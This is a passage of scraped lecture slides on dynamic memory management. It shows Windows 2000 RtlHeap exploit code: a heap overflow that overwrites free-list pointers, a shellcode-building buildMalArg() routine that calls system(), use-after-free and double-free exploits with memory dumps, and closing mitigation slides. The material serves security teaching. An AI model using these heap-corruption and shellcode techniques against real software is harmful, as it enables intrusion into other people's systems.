![Page 125: Dynamic Memory Management](https://reader037.vdocuments.us/reader037/viewer/2022110209/56812a52550346895d8d9fa3/html5/thumbnails/125.jpg)
RTL Heap 1. unsigned char shellcode[] = "\x90\x90\x90\x90"; 2. unsigned char malArg[] = "0123456789012345"
"\x05\x00\x03\x00\x00\x00\x08\x00" "\xb8\xf5\x12\x00\x40\x90\x40\x00";
3. void mem() { 4. HANDLE hp; 5. HLOCAL h1 = 0, h2 = 0, h3 = 0, h4 = 0; 6. hp = HeapCreate(0, 0x1000, 0x10000); 7. h1 = HeapAlloc(hp, HEAP_ZERO_MEMORY, 16); 8. h2 = HeapAlloc(hp, HEAP_ZERO_MEMORY, 128); 9. h3 = HeapAlloc(hp, HEAP_ZERO_MEMORY, 16); 10. HeapFree(hp,0,h2); 11. memcpy(h1, malArg, 32); 12. h4 = HeapAlloc(hp, HEAP_ZERO_MEMORY, 128); 13. return;14. }
15. int _tmain(int argc, _TCHAR* argv[]) {16. mem();17. return 0; 18. }
causes the return address to be overwritten with the address of the shellcode
![Page 126: Dynamic Memory Management](https://reader037.vdocuments.us/reader037/viewer/2022110209/56812a52550346895d8d9fa3/html5/thumbnails/126.jpg)
RTL Heap 1. unsigned char shellcode[] = "\x90\x90\x90\x90"; 2. unsigned char malArg[] = "0123456789012345"
"\x05\x00\x03\x00\x00\x00\x08\x00" "\xb8\xf5\x12\x00\x40\x90\x40\x00";
3. void mem() { 4. HANDLE hp; 5. HLOCAL h1 = 0, h2 = 0, h3 = 0, h4 = 0; 6. hp = HeapCreate(0, 0x1000, 0x10000); 7. h1 = HeapAlloc(hp, HEAP_ZERO_MEMORY, 16); 8. h2 = HeapAlloc(hp, HEAP_ZERO_MEMORY, 128); 9. h3 = HeapAlloc(hp, HEAP_ZERO_MEMORY, 16); 10. HeapFree(hp,0,h2); 11. memcpy(h1, malArg, 32); 12. h4 = HeapAlloc(hp, HEAP_ZERO_MEMORY, 128); 13. return;14. }
15. int _tmain(int argc, _TCHAR* argv[]) {16. mem();17. return 0; 18. }
control is passed to the shellcode
![Page 127: Dynamic Memory Management](https://reader037.vdocuments.us/reader037/viewer/2022110209/56812a52550346895d8d9fa3/html5/thumbnails/127.jpg)
RTL Heap 1. unsigned char shellcode[] = "\x90\x90\x90\x90"; 2. unsigned char malArg[] = "0123456789012345"
"\x05\x00\x03\x00\x00\x00\x08\x00" "\xb8\xf5\x12\x00\x40\x90\x40\x00";
3. void mem() { 4. HANDLE hp; 5. HLOCAL h1 = 0, h2 = 0, h3 = 0, h4 = 0; 6. hp = HeapCreate(0, 0x1000, 0x10000); 7. h1 = HeapAlloc(hp, HEAP_ZERO_MEMORY, 16); 8. h2 = HeapAlloc(hp, HEAP_ZERO_MEMORY, 128); 9. h3 = HeapAlloc(hp, HEAP_ZERO_MEMORY, 16); 10. HeapFree(hp,0,h2); 11. memcpy(h1, malArg, 32); 12. h4 = HeapAlloc(hp, HEAP_ZERO_MEMORY, 128); 13. return;14. }
15. int _tmain(int argc, _TCHAR* argv[]) {16. mem();17. return 0; 18. }
HeapAlloc() on line 12 causes the first four bytes of shellcode to be overwritten with the return address \xb8\xf5\x12\x00.
This address needs to be executable!
![Page 128: Dynamic Memory Management](https://reader037.vdocuments.us/reader037/viewer/2022110209/56812a52550346895d8d9fa3/html5/thumbnails/128.jpg)
RTL Heap Freeing
Assume overflow with attacker controlled data into a memory block:
Size of this block divided by 8
Size of previous block divided by 8
Field_4 8 bits for flags
![Page 129: Dynamic Memory Management](https://reader037.vdocuments.us/reader037/viewer/2022110209/56812a52550346895d8d9fa3/html5/thumbnails/129.jpg)
RTL Heap Freeing
Attacker needs to set control block so that it will run. Bit 0 of Flags must be set Bit 3 of Flags must be set Field_4 must be smaller than 0x40 Own size must be larger than 0x80
![Page 130: Dynamic Memory Management](https://reader037.vdocuments.us/reader037/viewer/2022110209/56812a52550346895d8d9fa3/html5/thumbnails/130.jpg)
RTL Heap Freeing
Deassembly of Win2k Heap Manager esi points to beginning of block control
data add esi, -24
Memory Block A
Block B
Control data
Memory Block B
Block A
Control data
esi
![Page 131: Dynamic Memory Management](https://reader037.vdocuments.us/reader037/viewer/2022110209/56812a52550346895d8d9fa3/html5/thumbnails/131.jpg)
RTL Heap Freeing
Deassembly of Win2k Heap Manage mov eax, [esi]
Memory Block A
Block B
Control data
Memory Block B
Block A
Control data
esimove memory into eax
![Page 132: Dynamic Memory Management](https://reader037.vdocuments.us/reader037/viewer/2022110209/56812a52550346895d8d9fa3/html5/thumbnails/132.jpg)
RTL Heap Freeing
Deassembly of Win2k Heap Manage mov esi, [esi+4]
Memory Block A
Block B
Control data
Memory Block B
Block A
Control data
esimove memory into esi
![Page 133: Dynamic Memory Management](https://reader037.vdocuments.us/reader037/viewer/2022110209/56812a52550346895d8d9fa3/html5/thumbnails/133.jpg)
RTL Heap Freeing
Deassembly of Win2k Heap Manage mov [esi],eax
Memory Block A
Block B
Control data
Memory Block B
Block A
Control data
esi
Arbitrary memory overwrite
![Page 134: Dynamic Memory Management](https://reader037.vdocuments.us/reader037/viewer/2022110209/56812a52550346895d8d9fa3/html5/thumbnails/134.jpg)
RTL Heap Freeing
This vulnerability is based on Overwriting a complete control block Controlling data 24B before the
control block
![Page 135: Dynamic Memory Management](https://reader037.vdocuments.us/reader037/viewer/2022110209/56812a52550346895d8d9fa3/html5/thumbnails/135.jpg)
RTL Heap
Other Approach: Gain control by overwriting an
exception handler Trigger an exception.
![Page 136: Dynamic Memory Management](https://reader037.vdocuments.us/reader037/viewer/2022110209/56812a52550346895d8d9fa3/html5/thumbnails/136.jpg)
RTL Heap1. int mem(char *buf) {2. HLOCAL h1 = 0, h2 = 0;3. HANDLE hp;4. hp = HeapCreate(0, 0x1000, 0x10000);5. if (!hp) return -1;6. h1 = HeapAlloc(hp, HEAP_ZERO_MEMORY, 260);7. strcpy((char *)h1, buf); 8. h2 = HeapAlloc(hp, HEAP_ZERO_MEMORY, 260);9. printf("we never get here");10. return 0;11. }
12. int main(int argc, char *argv[]) {13. HMODULE l;14. l = LoadLibrary("wmvcore.dll");15. buildMalArg();16. mem(buffer); 17. return 0;18. }
Heap-bases buffer overflow
![Page 137: Dynamic Memory Management](https://reader037.vdocuments.us/reader037/viewer/2022110209/56812a52550346895d8d9fa3/html5/thumbnails/137.jpg)
RTL Heap1. int mem(char *buf) {2. HLOCAL h1 = 0, h2 = 0;3. HANDLE hp;4. hp = HeapCreate(0, 0x1000, 0x10000);5. if (!hp) return -1;6. h1 = HeapAlloc(hp, HEAP_ZERO_MEMORY, 260);7. strcpy((char *)h1, buf); 8. h2 = HeapAlloc(hp, HEAP_ZERO_MEMORY, 260);9. printf("we never get here");10. return 0;11. }
12. int main(int argc, char *argv[]) {13. HMODULE l;14. l = LoadLibrary("wmvcore.dll");15. buildMalArg();16. mem(buffer); 17. return 0;18. }
Heap created
Single chunk allocatedHeap consists of: segment header memory allocated by h1 segment trailer
![Page 138: Dynamic Memory Management](https://reader037.vdocuments.us/reader037/viewer/2022110209/56812a52550346895d8d9fa3/html5/thumbnails/138.jpg)
RTL Heap1. int mem(char *buf) {2. HLOCAL h1 = 0, h2 = 0;3. HANDLE hp;4. hp = HeapCreate(0, 0x1000, 0x10000);5. if (!hp) return -1;6. h1 = HeapAlloc(hp, HEAP_ZERO_MEMORY, 260);7. strcpy((char *)h1, buf); 8. h2 = HeapAlloc(hp, HEAP_ZERO_MEMORY, 260);9. printf("we never get here");10. return 0;11. }
12. int main(int argc, char *argv[]) {13. HMODULE l;14. l = LoadLibrary("wmvcore.dll");15. buildMalArg();16. mem(buffer); 17. return 0;18. }
heap overflow:Overwrites segment trailer, including LIST_Entry structure.
These pointers will likely be referenced in the next call to RtlHeap—triggering an exception.
![Page 139: Dynamic Memory Management](https://reader037.vdocuments.us/reader037/viewer/2022110209/56812a52550346895d8d9fa3/html5/thumbnails/139.jpg)
RTL Heap1. int mem(char *buf) {2. HLOCAL h1 = 0, h2 = 0;3. HANDLE hp;4. hp = HeapCreate(0, 0x1000, 0x10000);5. if (!hp) return -1;6. h1 = HeapAlloc(hp, HEAP_ZERO_MEMORY, 260);7. strcpy((char *)h1, buf); 8. h2 = HeapAlloc(hp, HEAP_ZERO_MEMORY, 260);9. printf("we never get here");10. return 0;11. }
12. int main(int argc, char *argv[]) {13. HMODULE l;14. l = LoadLibrary("wmvcore.dll");15. buildMalArg();16. mem(buffer); 17. return 0;18. }
h1 variable points at 0x00ba0688, which is the start of user memory
![Page 140: Dynamic Memory Management](https://reader037.vdocuments.us/reader037/viewer/2022110209/56812a52550346895d8d9fa3/html5/thumbnails/140.jpg)
RTL Heap
00ba0680 22 00 08 00 00 01 0c 00 61 61 61 61 61 61 61 6100ba0690 61 61 61 61 61 61 61 61 61 61 61 61 61 61 61 61
:00ba0780 61 61 61 61 61 61 61 61 61 61 61 61 00 00 00 0000ba0790 0e 01 22 00 00 10 00 00 78 01 ba 00 78 01 ba 00
00ba0680 22 00 08 00 00 01 0c 00 61 61 61 61 61 61 61 6100ba0690 61 61 61 61 61 61 61 61 61 61 61 61 61 61 61 61
:00ba0780 61 61 61 61 61 61 61 61 61 61 61 61 00 00 00 0000ba0790 0e 01 22 00 00 10 00 00 78 01 ba 00 78 01 ba 00
h1
flink blink
These pointers can be overwritten by the call to strcpy() on line 7 to transfer control to user-supplied shellcode
Organization of the Heap after First HeapAlloc()
![Page 141: Dynamic Memory Management](https://reader037.vdocuments.us/reader037/viewer/2022110209/56812a52550346895d8d9fa3/html5/thumbnails/141.jpg)
RTL Heap
Malicious argument for attacking the vulnerability in the mem() function.
1. char buffer[1000]="";2. void buildMalArg() {3. int addr = 0, i = 0;4. unsigned int systemAddr = 0;5. char tmp[8]="";6. systemAddr = GetAddress("msvcrt.dll","system");7. for (i=0; i < 66; i++) strcat(buffer, "DDDD");8. strcat(buffer, "\xeb\x14");9. strcat(buffer, "\x44\x44\x44\x44\x44\x44");10. strcat(buffer, "\x73\x68\x68\x08");11. strcat(buffer,"\x4c\x04\x5d\x7c");12. for (i=0; i < 21; i++) strcat(buffer,"\x90");13. strat(buffer, "\x33\xC0\x50\x68\x63\x61\x6C\x63\x54\x5B\
x50\x53\xB9");14. fixupaddresses(tmp, systemAddr);15. strcat(buffer,tmp);16. strcat(buffer,"\xFF\xD1\x90\x90");17. return;18. }
overwrite the forward and backward pointers in the trailing free block.
![Page 142: Dynamic Memory Management](https://reader037.vdocuments.us/reader037/viewer/2022110209/56812a52550346895d8d9fa3/html5/thumbnails/142.jpg)
RTL Heap
Malicious argument for attacking the vulnerability in the mem() function.
1. char buffer[1000]="";2. void buildMalArg() {3. int addr = 0, i = 0;4. unsigned int systemAddr = 0;5. char tmp[8]="";6. systemAddr = GetAddress("msvcrt.dll","system");7. for (i=0; i < 66; i++) strcat(buffer, "DDDD");8. strcat(buffer, "\xeb\x14");9. strcat(buffer, "\x44\x44\x44\x44\x44\x44");10. strcat(buffer, "\x73\x68\x68\x08");11. strcat(buffer,"\x4c\x04\x5d\x7c");12. for (i=0; i < 21; i++) strcat(buffer,"\x90");13. strat(buffer, "\x33\xC0\x50\x68\x63\x61\x6C\x63\x54\
x5B\x50\x53\xB9");14. fixupaddresses(tmp, systemAddr);15. strcat(buffer,tmp);16. strcat(buffer,"\xFF\xD1\x90\x90");17. return;18. }
The forward pointer is replaced by the address to which control will be transferred.
The backward pointer is replaced by the address to be overwritten.
![Page 143: Dynamic Memory Management](https://reader037.vdocuments.us/reader037/viewer/2022110209/56812a52550346895d8d9fa3/html5/thumbnails/143.jpg)
RTL Heap
Malicious argument for attacking the vulnerability in the mem() function.
1. char buffer[1000]="";2. void buildMalArg() {3. int addr = 0, i = 0;4. unsigned int systemAddr = 0;5. char tmp[8]="";6. systemAddr = GetAddress("msvcrt.dll","system");7. for (i=0; i < 66; i++) strcat(buffer, "DDDD");8. strcat(buffer, "\xeb\x14");9. strcat(buffer, "\x44\x44\x44\x44\x44\x44");10. strcat(buffer, "\x73\x68\x68\x08");11. strcat(buffer,"\x4c\x04\x5d\x7c");12. for (i=0; i < 21; i++) strcat(buffer,"\x90");13. strat(buffer, "\x33\xC0\x50\x68\x63\x61\x6C\x63\x54\x5B\
x50\x53\xB9");14. fixupaddresses(tmp, systemAddr);15. strcat(buffer,tmp);16. strcat(buffer,"\xFF\xD1\x90\x90");17. return;18. }
This offset will overwrite the backward pointer in the trailing free chunk as a result of the buffer overflow control is transferred to the user-supplied address and not the unhandled exception filter.
![Page 144: Dynamic Memory Management](https://reader037.vdocuments.us/reader037/viewer/2022110209/56812a52550346895d8d9fa3/html5/thumbnails/144.jpg)
RTL Heap
1. SetUnhandledExceptionFilter(myTopLevelFilter); ]
2. mov ecx, dword ptr [esp+4]
3. mov eax, dword ptr ds:[7C5D044Ch]
4. mov dword ptr ds:[7C5D044Ch], ecx
5. ret 4
Disassembly for SetUnhandledExceptionFilter()
![Page 145: Dynamic Memory Management](https://reader037.vdocuments.us/reader037/viewer/2022110209/56812a52550346895d8d9fa3/html5/thumbnails/145.jpg)
RTL Heap The address used to overwrite the forward
pointer is the address of the shellcode. Because RtlHeap subsequently overwrites the
first four bytes of the shellcode, an attacker can transfer control to the shellcode using trampolines.
Trampolines allow an attacker to transfer control to shellcode when the absolute address of the shellcode is not known ahead of time.
Trampolines can be located statically by examining the program image or dynamic-link library or dynamically by loading the library and searching through memory.
![Page 146: Dynamic Memory Management](https://reader037.vdocuments.us/reader037/viewer/2022110209/56812a52550346895d8d9fa3/html5/thumbnails/146.jpg)
RTL Heap
RTL Heap can be vulnerable By writes to freed memory By double-freeing memory Look-Aside Table
![Page 147: Dynamic Memory Management](https://reader037.vdocuments.us/reader037/viewer/2022110209/56812a52550346895d8d9fa3/html5/thumbnails/147.jpg)
RtlHeap 1. typedef struct _unalloc { 2. PVOID fp; 3. PVOID bp; 4. } unalloc, *Punalloc;
5. char shellcode[] = "\x90\x90\x90\xb0\x06\x90\x90"; 6. int _tmain(int argc, _TCHAR* argv[]) { 7. Punalloc h1; 8. HLOCAL h2 = 0; 9. HANDLE hp;10. hp = HeapCreate(0, 0x1000, 0x10000);11. h1 = (Punalloc)HeapAlloc(hp, HEAP_ZERO_MEMORY, 32);12. HeapFree(hp, 0, h1);13. h1->fp = (PVOID)(0x042B17C - 4); 14. h1->bp = shellcode;15. h2 = HeapAlloc(hp, HEAP_ZERO_MEMORY, 32);16. HeapFree(hp, 0, h2);17. return 0;18. }
heap is created.
32-byte chunk , represented by h1, is allocated
RTLHeap: Write to Freed Memory
![Page 148: Dynamic Memory Management](https://reader037.vdocuments.us/reader037/viewer/2022110209/56812a52550346895d8d9fa3/html5/thumbnails/148.jpg)
RtlHeap 1. typedef struct _unalloc { 2. PVOID fp; 3. PVOID bp; 4. } unalloc, *Punalloc;
5. char shellcode[] = "\x90\x90\x90\xb0\x06\x90\x90"; 6. int _tmain(int argc, _TCHAR* argv[]) { 7. Punalloc h1; 8. HLOCAL h2 = 0; 9. HANDLE hp;10. hp = HeapCreate(0, 0x1000, 0x10000);11. h1 = (Punalloc)HeapAlloc(hp, HEAP_ZERO_MEMORY, 32);12. HeapFree(hp, 0, h1);13. h1->fp = (PVOID)(0x042B17C - 4); 14. h1->bp = shellcode;15. h2 = HeapAlloc(hp, HEAP_ZERO_MEMORY, 32);16. HeapFree(hp, 0, h2);17. return 0;18. }
RTLHeap: Write to Freed Memory
mistakenly”freed”
![Page 149: Dynamic Memory Management](https://reader037.vdocuments.us/reader037/viewer/2022110209/56812a52550346895d8d9fa3/html5/thumbnails/149.jpg)
RtlHeap 1. typedef struct _unalloc { 2. PVOID fp; 3. PVOID bp; 4. } unalloc, *Punalloc;
5. char shellcode[] = "\x90\x90\x90\xb0\x06\x90\x90"; 6. int _tmain(int argc, _TCHAR* argv[]) { 7. Punalloc h1; 8. HLOCAL h2 = 0; 9. HANDLE hp;10. hp = HeapCreate(0, 0x1000, 0x10000);11. h1 = (Punalloc)HeapAlloc(hp, HEAP_ZERO_MEMORY, 32);12. HeapFree(hp, 0, h1);13. h1->fp = (PVOID)(0x042B17C - 4); 14. h1->bp = shellcode;15. h2 = HeapAlloc(hp, HEAP_ZERO_MEMORY, 32);16. HeapFree(hp, 0, h2);17. return 0;18. }
RTLHeap: Write to Freed Memory
User-supplied data is then written into the already freed chunk
![Page 150: Dynamic Memory Management](https://reader037.vdocuments.us/reader037/viewer/2022110209/56812a52550346895d8d9fa3/html5/thumbnails/150.jpg)
RTL Heap When h1 is freed,
h1 is placed on the list of free 32-byte chunks. While on the free list:
the chunk’s first doubleword of usable memory holds the forward pointer to the next chunk on the list
the second doubleword holds the backward pointer. The forward pointer is replaced by the
address to overwrite. The backward pointer is overwritten with
the address of the shellcode.
![Page 151: Dynamic Memory Management](https://reader037.vdocuments.us/reader037/viewer/2022110209/56812a52550346895d8d9fa3/html5/thumbnails/151.jpg)
RtlHeap 1. typedef struct _unalloc { 2. PVOID fp; 3. PVOID bp; 4. } unalloc, *Punalloc;
5. char shellcode[] = "\x90\x90\x90\xb0\x06\x90\x90"; 6. int _tmain(int argc, _TCHAR* argv[]) { 7. Punalloc h1; 8. HLOCAL h2 = 0; 9. HANDLE hp;10. hp = HeapCreate(0, 0x1000, 0x10000);11. h1 = (Punalloc)HeapAlloc(hp, HEAP_ZERO_MEMORY, 32);12. HeapFree(hp, 0, h1);13. h1->fp = (PVOID)(0x042B17C - 4); 14. h1->bp = shellcode;15. h2 = HeapAlloc(hp, HEAP_ZERO_MEMORY, 32);16. HeapFree(hp, 0, h2);17. return 0;18. }
RTLHeap: Write to Freed Memory
The call to HeapAlloc() causes the address of HeapFree() to be overwritten with the address of the shellcode
![Page 152: Dynamic Memory Management](https://reader037.vdocuments.us/reader037/viewer/2022110209/56812a52550346895d8d9fa3/html5/thumbnails/152.jpg)
RtlHeap 1. typedef struct _unalloc { 2. PVOID fp; 3. PVOID bp; 4. } unalloc, *Punalloc;
5. char shellcode[] = "\x90\x90\x90\xb0\x06\x90\x90"; 6. int _tmain(int argc, _TCHAR* argv[]) { 7. Punalloc h1; 8. HLOCAL h2 = 0; 9. HANDLE hp;10. hp = HeapCreate(0, 0x1000, 0x10000);11. h1 = (Punalloc)HeapAlloc(hp, HEAP_ZERO_MEMORY, 32);12. HeapFree(hp, 0, h1);13. h1->fp = (PVOID)(0x042B17C - 4); 14. h1->bp = shellcode;15. h2 = HeapAlloc(hp, HEAP_ZERO_MEMORY, 32);16. HeapFree(hp, 0, h2);17. return 0;18. }
RTLHeap: Write to Freed Memory
Control is transferred to the shellcode
![Page 153: Dynamic Memory Management](https://reader037.vdocuments.us/reader037/viewer/2022110209/56812a52550346895d8d9fa3/html5/thumbnails/153.jpg)
RtlHeap 1. typedef struct _unalloc { 2. PVOID fp; 3. PVOID bp; 4. } unalloc, *Punalloc;
5. char shellcode[] = "\x90\x90\x90\xb0\x06\x90\x90"; 6. int _tmain(int argc, _TCHAR* argv[]) { 7. Punalloc h1; 8. HLOCAL h2 = 0; 9. HANDLE hp;10. hp = HeapCreate(0, 0x1000, 0x10000);11. h1 = (Punalloc)HeapAlloc(hp, HEAP_ZERO_MEMORY, 32);12. HeapFree(hp, 0, h1);13. h1->fp = (PVOID)(0x042B17C - 4); 14. h1->bp = shellcode;15. h2 = HeapAlloc(hp, HEAP_ZERO_MEMORY, 32);16. HeapFree(hp, 0, h2);17. return 0;18. }
RTLHeap: Write to Freed Memory
The call to HeapAlloc() causes the address of HeapFree() to be overwritten with the address of the shellcode
![Page 154: Dynamic Memory Management](https://reader037.vdocuments.us/reader037/viewer/2022110209/56812a52550346895d8d9fa3/html5/thumbnails/154.jpg)
RTL Heap
RTL Heap can be vulnerable By writes to freed memory By double-freeing memory
Based on a Windows 2000 vulnerability Look-Aside Table
![Page 155: Dynamic Memory Management](https://reader037.vdocuments.us/reader037/viewer/2022110209/56812a52550346895d8d9fa3/html5/thumbnails/155.jpg)
RtlHeap1. int main(int argc, char *argv[]) {2. HANDLE hp;3. HLOCAL h1, h2, h3, h4, h5, h6, h7, h8, h9;
4. hp = HeapCreate(0,0x1000,0x10000);5. h1 = HeapAlloc(hp, HEAP_ZERO_MEMORY, 16);6. memset(h1, 'a', 16);7. h2 = HeapAlloc(hp, HEAP_ZERO_MEMORY, 16);8. memset(h2, 'b', 16);9. h3 = HeapAlloc(hp, HEAP_ZERO_MEMORY, 32);10. memset(h3, 'c', 32);11. h4 = HeapAlloc(hp, HEAP_ZERO_MEMORY, 16);12. memset(h4, 'd', 16);13. h5 = HeapAlloc(hp, HEAP_ZERO_MEMORY,8)14. memset(h5, 'e', 8);15. HeapFree(hp, 0, h2); 16. HeapFree(hp, 0, h3);17. HeapFree(hp, 0, h3);18. h6 = HeapAlloc(hp, 0, 64);19. memset(h6, 'f', 64);20. strcpy((char *)h4, buffer);21. h7 = HeapAlloc(hp, 0, 16);22. printf("Never gets here.\n”);23. }
RTLHeap: Double Freed Memory
Memory Allocation Chunk 1
Memory Allocation Chunk 5
![Page 156: Dynamic Memory Management](https://reader037.vdocuments.us/reader037/viewer/2022110209/56812a52550346895d8d9fa3/html5/thumbnails/156.jpg)
RtlHeap1. int main(int argc, char *argv[]) {2. HANDLE hp;3. HLOCAL h1, h2, h3, h4, h5, h6, h7, h8, h9;
4. hp = HeapCreate(0,0x1000,0x10000);5. h1 = HeapAlloc(hp, HEAP_ZERO_MEMORY, 16);6. memset(h1, 'a', 16);7. h2 = HeapAlloc(hp, HEAP_ZERO_MEMORY, 16);8. memset(h2, 'b', 16);9. h3 = HeapAlloc(hp, HEAP_ZERO_MEMORY, 32);10. memset(h3, 'c', 32);11. h4 = HeapAlloc(hp, HEAP_ZERO_MEMORY, 16);12. memset(h4, 'd', 16);13. h5 = HeapAlloc(hp, HEAP_ZERO_MEMORY,8)14. memset(h5, 'e', 8);15. HeapFree(hp, 0, h2); 16. HeapFree(hp, 0, h3);17. HeapFree(hp, 0, h3);18. h6 = HeapAlloc(hp, 0, 64);19. memset(h6, 'f', 64);20. strcpy((char *)h4, buffer);21. h7 = HeapAlloc(hp, 0, 16);22. printf("Never gets here.\n”);23. }
RTLHeap: Double Freed Memory
Free h2
Free h3
![Page 157: Dynamic Memory Management](https://reader037.vdocuments.us/reader037/viewer/2022110209/56812a52550346895d8d9fa3/html5/thumbnails/157.jpg)
RTL Heap
Heap After h2 is Freed freeing h2: 00BA06A0List head for FreeList[0] 00BA0178->00BA0708Forward links:Chunk in FreeList[0] -> chunk: 00BA0178Backward links:Chunk in FreeList[0] -> chunk: 00BA0178List head for FreeList[3] 00BA0190->00BA06A0Forward links:Chunk in FreeList[3] -> chunk: 00BA0190Backward links:Chunk in FreeList[3] -> chunk: 00BA0190
00ba0680 03 00 08 00 00 01 08 00 61 61 61 61 61 61 61 61 ........aaaaaaaa00ba0690 61 61 61 61 61 61 61 61 03 00 03 00 00 00 08 00 aaaaaaaa........00ba06a0 90 01 ba 00 90 01 ba 00 62 62 62 62 62 62 62 62 ........bbbbbbbb00ba06b0 05 00 03 00 00 01 08 00 63 63 63 63 63 63 63 63 ........cccccccc00ba06c0 63 63 63 63 63 63 63 63 63 63 63 63 63 63 63 63 cccccccccccccccc00ba06d0 63 63 63 63 63 63 63 63 03 00 05 00 00 01 08 00 cccccccc........00ba06e0 64 64 64 64 64 64 64 64 64 64 64 64 64 64 64 64 dddddddddddddddd00ba06f0 02 00 03 00 00 01 08 00 65 65 65 65 65 65 65 65 ........eeeeeeee00ba0700 20 01 02 00 00 10 00 00 78 01 ba 00 78 01 ba 00 .......x...x...
• FreeList[0] contains a single free chunk at 0x00BA0708
• FreeList[3] contains another free chunk (formerly h2)
• Memory contents filled with “aaa…a” for h1, etc.
![Page 158: Dynamic Memory Management](https://reader037.vdocuments.us/reader037/viewer/2022110209/56812a52550346895d8d9fa3/html5/thumbnails/158.jpg)
RTL Heap
Heap after h3 is freedfreeing h3 (1st time): 00BA06B8List head for FreeList[0] 00BA0178->00BA0708Forward links:Chunk in FreeList[0] -> chunk: 00BA0178Backward links:Chunk in FreeList[0] -> chunk: 00BA0178List head for FreeList[8] 00BA01B8->00BA06A0Forward links:Chunk in FreeList[8] -> chunk: 00BA01B8Backward links:Chunk in FreeList[8] -> chunk: 00BA01B8
00ba0680 03 00 08 00 00 01 08 00 61 61 61 61 61 61 61 61 ........aaaaaaaa00ba0690 61 61 61 61 61 61 61 61 08 00 03 00 00 00 08 00 aaaaaaaa........00ba06a0 b8 01 ba 00 b8 01 ba 00 62 62 62 62 62 62 62 62 ........bbbbbbbb00ba06b0 05 00 03 00 00 01 08 00 63 63 63 63 63 63 63 63 ........cccccccc00ba06c0 63 63 63 63 63 63 63 63 63 63 63 63 63 63 63 63 cccccccccccccccc00ba06d0 63 63 63 63 63 63 63 63 03 00 08 00 00 01 08 00 cccccccc........00ba06e0 64 64 64 64 64 64 64 64 64 64 64 64 64 64 64 64 dddddddddddddddd00ba06f0 02 00 03 00 00 01 08 00 65 65 65 65 65 65 65 65 ........eeeeeeee00ba0700 20 01 02 00 00 10 00 00 78 01 ba 00 78 01 ba 00 .......x...x...
• h2 and h3 are coalesced
• New free chunk is in FreeList[8]
• Pointers in former h2 are updated, pointed in former h3 are not.
![Page 159: Dynamic Memory Management](https://reader037.vdocuments.us/reader037/viewer/2022110209/56812a52550346895d8d9fa3/html5/thumbnails/159.jpg)
RTL Heap
Heap after h3 is freed the second timefreeing h3 (2nd time): 00BA06B8List head for FreeList[0] 00BA0178->00BA06A0Forward links:Chunk in FreeList[0] -> chunk: 00BA0178Backward links:Chunk in FreeList[0] -> chunk: 00BA0178
00ba0680 03 00 08 00 00 01 08 00 61 61 61 61 61 61 61 61 ........aaaaaaaa00ba0690 61 61 61 61 61 61 61 61 2d 01 03 00 00 10 08 00 aaaaaaaa-.......00ba06a0 78 01 ba 00 78 01 ba 00 62 62 62 62 62 62 62 62 x...x...bbbbbbbb00ba06b0 05 00 03 00 00 01 08 00 63 63 63 63 63 63 63 63 ........cccccccc00ba06c0 63 63 63 63 63 63 63 63 63 63 63 63 63 63 63 63 cccccccccccccccc00ba06d0 63 63 63 63 63 63 63 63 03 00 08 00 00 01 08 00 cccccccc........00ba06e0 64 64 64 64 64 64 64 64 64 64 64 64 64 64 64 64 dddddddddddddddd00ba06f0 02 00 03 00 00 01 08 00 65 65 65 65 65 65 65 65 ........eeeeeeee00ba0700 20 01 0d 00 00 10 00 00 78 01 ba 00 78 01 ba 00 .......x...x...
• Free chunk has completely disappeared.• FreeList[0] points to 0x00BA06A0: one big free chunk of 2KB !?!
• Allocated h4 and h5 are in the middle of this free area.• Exploit: Overwrite the forward and backward pointers to FreeList[0].
• Located at 0x00BA06A0, which is currently not accessible.• Exploit allocates another 64 B, pushing the forward and backward pointer to 0x00ba06e0 – which is in h4 and can be overwritten.
![Page 160: Dynamic Memory Management](https://reader037.vdocuments.us/reader037/viewer/2022110209/56812a52550346895d8d9fa3/html5/thumbnails/160.jpg)
RtlHeap1. int main(int argc, char *argv[]) {2. HANDLE hp;3. HLOCAL h1, h2, h3, h4, h5, h6, h7, h8, h9;
4. hp = HeapCreate(0,0x1000,0x10000);5. h1 = HeapAlloc(hp, HEAP_ZERO_MEMORY, 16);6. memset(h1, 'a', 16);7. h2 = HeapAlloc(hp, HEAP_ZERO_MEMORY, 16);8. memset(h2, 'b', 16);9. h3 = HeapAlloc(hp, HEAP_ZERO_MEMORY, 32);10. memset(h3, 'c', 32);11. h4 = HeapAlloc(hp, HEAP_ZERO_MEMORY, 16);12. memset(h4, 'd', 16);13. h5 = HeapAlloc(hp, HEAP_ZERO_MEMORY,8)14. memset(h5, 'e', 8);15. HeapFree(hp, 0, h2); 16. HeapFree(hp, 0, h3);17. HeapFree(hp, 0, h3);18. h6 = HeapAlloc(hp, 0, 64);19. memset(h6, 'f', 64);20. strcpy((char *)h4, buffer);21. h7 = HeapAlloc(hp, 0, 16);22. printf("Never gets here.\n”);23. }
RTLHeap: Double Freed Memory
![Page 161: Dynamic Memory Management](https://reader037.vdocuments.us/reader037/viewer/2022110209/56812a52550346895d8d9fa3/html5/thumbnails/161.jpg)
Mitigation Strategies NULL pointer
Simplest strategy that prevents most dynamic memory errors.
After a call to free, that the memory pointer to NULL. Prevents
writing to freed memory. double-freeing memory.
Does not prevent problems when pointer aliasing.
Two pointers to the same structure.
![Page 162: Dynamic Memory Management](https://reader037.vdocuments.us/reader037/viewer/2022110209/56812a52550346895d8d9fa3/html5/thumbnails/162.jpg)
Mitigation Strategies Consistency
Use the same patterns for allocating and freeing memory.
Allocate and deallocate in the same module, at the same level of abstraction.
Match allocations and deallocations. Counterexample:
MIT Kerberus 5 krb5-1.3.4, ASN.1 decoder functions did not use a
consistent set of memory management conventions: Callers expected decoders to allocate memory. Caller error-handling code frees memory allocated by
decoder functions. Decoder functions freed sometimes memory themselves.
(double freeing). Embarrassing vulnerability in Security Code.
![Page 163: Dynamic Memory Management](https://reader037.vdocuments.us/reader037/viewer/2022110209/56812a52550346895d8d9fa3/html5/thumbnails/163.jpg)
Mitigation Strategies Heap Integrity Detection
Robertson et al.: modification of glibc heap Adds canary and padding field to the heap
structure. Canary is seeming random value. When a chunk is returned, canary is checked.
1. struct malloc_chunk {
2. INTERNAL_SIZE_T magic;
3. INTERNAL_SIZE_T __pad0;
4. INTERNAL_SIZE_T prev_size;
5. INTERNAL_SIZE_T size;
6. struct malloc_chunk *bk;
7. struct malloc_chunk *fd;
8. };
![Page 164: Dynamic Memory Management](https://reader037.vdocuments.us/reader037/viewer/2022110209/56812a52550346895d8d9fa3/html5/thumbnails/164.jpg)
Mitigation Strategies PhkMalloc
Poul-Henning Kamp for FreeBSD in 1995-1996 and adapted by a number of operating systems.
